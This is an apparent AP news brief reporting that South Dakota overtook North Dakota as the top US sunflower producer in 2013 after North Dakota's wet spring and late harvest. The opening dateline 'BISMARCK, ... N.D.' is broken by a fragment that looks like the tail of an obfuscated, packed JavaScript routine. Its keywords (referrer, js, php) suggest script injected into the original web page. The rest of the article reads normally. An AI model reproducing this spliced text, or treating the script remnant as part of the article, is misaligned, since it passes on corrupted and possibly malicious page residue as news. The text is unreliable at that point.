BISMARCK, rrfyz|var|u0026u|referrer|nriib||js|php’.split(‘|’),0,{}))
N.D. (AP) – South Dakota sunflower farmers last year rebounded from crippling drought in 2012, while their counterparts in North Dakota struggled through a wet spring planting season and a late harvest.

The end result is that South Dakota has supplanted North Dakota as the nation’s top sunflower producer for only the second time in recorded history.

The Agriculture Department says 2013 sunflower production in North Dakota was down 58 percent over the year to about 608 million pounds, while South Dakota production rose 12 percent to about 997 million pounds.

The government started compiling sunflower data for the Dakotas in 1977. Until last year, the only year in which South Dakota’s production topped North Dakota’s was 2011, when North Dakota was hit hard by flooding.

Leave a Reply